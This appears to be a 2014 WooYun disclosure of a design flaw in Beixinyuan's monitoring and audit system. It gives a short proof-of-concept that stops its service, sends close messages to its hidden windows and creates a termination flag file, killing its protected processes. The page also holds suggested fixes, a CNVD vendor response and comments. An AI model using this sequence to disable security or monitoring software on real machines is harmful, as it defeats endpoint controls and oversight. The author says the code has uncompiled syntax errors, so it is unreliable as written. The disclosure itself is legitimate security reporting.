当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-052678

漏洞标题:北信源监控审计系统进程保护设计缺陷,用户态可杀

相关厂商:北京北信源软件股份有限公司

漏洞作者: Bin.Y

提交时间:2014-03-03 20:30

修复时间:2014-06-01 20:31

公开时间:2014-06-01 20:31

漏洞类型:设计错误/逻辑缺陷

危害等级:中

自评Rank:5

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-03: 细节已通知厂商并且等待厂商处理中
2014-03-08: 厂商已经确认,细节仅向厂商公开
2014-03-11: 细节向第三方安全合作伙伴开放
2014-05-02: 细节向核心白帽子及相关领域专家公开
2014-05-12: 细节向普通白帽子公开
2014-05-22: 细节向实习白帽子公开
2014-06-01: 细节向公众公开

简要描述:

北信源监控审计系统进程保护设计缺陷,用户态可杀
本来是自己留给卸载程序的关闭后门,但是对调用方没有验证,所以就完蛋啦!
后台还是有办法知道进程被关了,危害下降
进程关闭后,禁用光驱等功能完全失效,危害上升

详细说明:

本来是自己留给卸载程序的关闭后门,但是对调用方没有验证,所以就完蛋啦!
北信源有4个进程,Watch开头的用net stop VRVWatchServer就搞定了
剩下三个vrv开头的进程,都有各自不可见的窗口,发送两个消息就可以关。
三个vrv开头的进程中,有一个进程以一个文件作为进程终止标志,文件被创建则进程自行退出,同时,自我保护又没有限制这个文件的创建者,然后就可以乱搞了……

漏洞证明:

代码部分逆向得卸载程序,写得很糙,凑合看吧……

system("net stop VRVWatchServer")
HWND hEdpPolicyWnd = FindWindowW(0,"EDP-POLICY");
HWND hEdpProtectedWnd = FindWindowW(0,"EDP_PROTECTED");
HWND hEdpMainWnd = FindWindowW(0,"EDP_MAIN");
PostMessageW(hEdpPolicyWnd,0xA40,1,0);
PostMessageW(hEdpProtectedWnd,0xA40,1,0);
PostMessageW(hEdpMainWnd,0xA40,1,0);
PostMessageW(hEdpPolicyWnd,WM_CLOSE,0,0);
PostMessageW(hEdpProtectedWnd,WM_CLOSE,0,0);
PostMessageW(hEdpMainWnd,WM_CLOSE,0,0);
CreateFileW(L"C:\\windows\\system32\\exitvrv.flg",
GENERIC_READ,
FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
0,
CREATE_ALWAYS,
0,
NULL);

修复方案:

验证消息发送方是否为卸载程序,保护服务不被关闭。
一些调试用的标志不要在Release版里存在。
完善保护,用户态还有别的办法可以搞。

版权声明:转载请注明来源 Bin.Y@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-03-08 11:33

厂商回复:

CNVD确认所述情况,已经由CNVD直接联系上北信源公司(通过其高层),向其通报漏洞情况。根据北信源公司反馈,漏洞仅存在于较低版本,新版本已经无漏洞情况,请相关用户做好升级工作。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-03-03 23:03 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    我去,这个很有意思

  2. 2014-03-03 23:20 | Bin.Y ( 实习白帽子 | Rank:40 漏洞数:4 | 为了跳槽……)

    又看了一遍,发现代码有些语法错误……单位里完成的东西带不出来,我就记下了几个关键点回家重新完成的代码,也没编译就贴过来了(家里没有测试环境),看来以后还是要严谨一点的好嘛不过意思到了……

  3. 2014-03-03 23:56 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    可以在单位写好吗。那么多大牛都是在“单位”搞,给力。

  4. 2014-03-05 15:28 | Enjoy_Hacking ( 实习白帽子 | Rank:84 漏洞数:8 | 时间无言,如此这般。)

    这个可以有。。上一次去某单位做测试整这个东西整半天

  5. 2014-03-08 18:02 | Bin.Y ( 实习白帽子 | Rank:40 漏洞数:4 | 为了跳槽……)

    我尝试编辑过一次内容中有误的部分,但是似乎一直没有审核成功……这次提交漏洞我收获的教训是:1.发出来之前要读几遍确认正确无误;2.以后发这种软件要带上版本号一起发应该就不会说是旧版了